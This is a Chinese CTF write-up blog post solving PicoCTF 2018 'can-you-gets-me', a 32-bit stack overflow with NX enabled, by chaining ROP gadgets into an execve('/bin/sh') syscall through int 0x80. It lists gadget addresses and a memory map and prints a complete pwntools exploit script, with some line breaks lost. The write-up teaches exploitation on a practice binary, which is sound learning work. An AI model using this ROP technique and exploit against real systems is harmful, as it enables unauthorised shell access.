前言: 【栈溢出|非常规情况下栈溢出系统调用——PicoCTF_2018_can-you-gets-me】对于这种非常规的栈溢出题目,我自己也是见的比较少,故写此博客记录一下。
解题思路
查看保护
文章图片
只开了NX保护的32位程序,如果是常规题的话,应该是非常容易做的。
进入IDA查看伪代码 打开IDA,如果是第一次见这种题目就会傻眼了。
文章图片
题目中的每一个函数都好像是自己写的,那么我们就不能利用got表来泄露函数地址来getshell了。
题目开了NX保护,我们不能写shellcode,常规的ROP又利用不了,我们就完全利用不了libc里边的函数了。
乍一看,好像没什么办法了,但是我们可以用程序中非常多的gadget来调用系统调用。
目标:execve(0xb, “/bin/sh”, 0, 0);
既然是系统调用,我们就很容易想到execve来getshell,而程序中也正好有这些gadgets,包括最重要的int 0x80。
而execve的结构是:
eax = 0x0b
ebx = address of "/bin/sh"
ecx = 0
edx = 0
我们就用ROPgadget来找到我们想要的gadget。
0x080b81c6 : pop eax ;
ret
0x0806f02a : pop edx ;
ret
0x0806f051 : pop ecx ;
pop ebx ;
ret
0x080549db : mov [edx], eax;
ret
0x08049303 : xor eax, eax ;
ret
0x0808f097 : add eax, 2 ;
ret
0x0808f0b0 : add eax, 3 ;
ret
0x0806cc25 : int 0x80
0x080481b2 : ret
而且我们还需要把/bin/sh放到一个地方,放在哪里合适呢?
0x08048000 0x080e9000 r-xp /mnt/hgfs/share/buuctf/PicoCTF_2018_can-you-gets-me/PicoCTF_2018_can-you-gets-me
0x080e9000 0x080eb000 rw-p /mnt/hgfs/share/buuctf/PicoCTF_2018_can-you-gets-me/PicoCTF_2018_can-you-gets-me#毫无疑问,放在这里可写的地方最合适
0x080eb000 0x0810e000 rw-p [heap]
0xf7ffa000 0xf7ffd000 r--p [vvar]
0xf7ffd000 0xf7ffe000 r-xp [vdso]
0xfffdd000 0xffffe000 rw-p [stack]
我们就放在0x080e9000到0x080eb000之间就行
然后我们用我们找到的gadgets来构造exp就可以了。
完整exp:
#! /usr/bin/env python
from pwn import *p = process('./PicoCTF_2018_can-you-gets-me')
#p = remote('node3.buuoj.cn', 28541)writeable_memory = 0x080e9040
binsh = 0x80e9040
int80 = 0x0806cc25
ret = 0x080481b2pop_eax = 0x080b81c6
pop_edx = 0x0806f02a
pop_ecx_ebx = 0x0806f051
mov_eax_to_edx = 0x080549dbset_eax_zero = 0x08049303
add_eax_two = 0x0808f097
add_eax_three = 0x0808f0b0payload = ""
payload += "A"*28payload += p32(pop_edx)
payload += p32(writeable_memory)payload += p32(pop_eax)
payload += "/bin"payload += p32(mov_eax_to_edx)writeable_memory += 4payload += p32(pop_edx)
payload += p32(writeable_memory)payload += p32(pop_eax)
payload += "/sh\x00"payload += p32(mov_eax_to_edx)writeable_memory += 3payload += p32(set_eax_zero)
payload += p32(pop_edx)payload += p32(writeable_memory)#让字符串以空结尾
payload += p32(mov_eax_to_edx)payload += p32(pop_ecx_ebx)
payload += p32(0)
payload += p32(binsh)payload += p32(pop_edx)
payload += p32(0)payload += p32(set_eax_zero)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_three)
payload += p32(add_eax_two)# eax = 0x0bpayload += p32(int80)
payload += p32(ret)p.recvuntil("GIVE ME YOUR NAME!")
p.send(payload)
p.interactive()
推荐阅读
- ELF,PE文件格式 及 延迟绑定(PLT、GOT表)、动态链接(.dynamic段)
- [V&N2020 公开赛]babybabypwn[srop]
- babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
- BUUCTF|【BUUCTF - PWN】babyrop
- buuctf中的一些pwn题总结(不断更新)
- pwn|关于沙箱关闭execve的绕过技巧及SROP的简单利用方法 --(buuctf[V&N2020 公开赛])babybabypwn + warmup
- 堆溢出|House of force —— gyctf_2020_force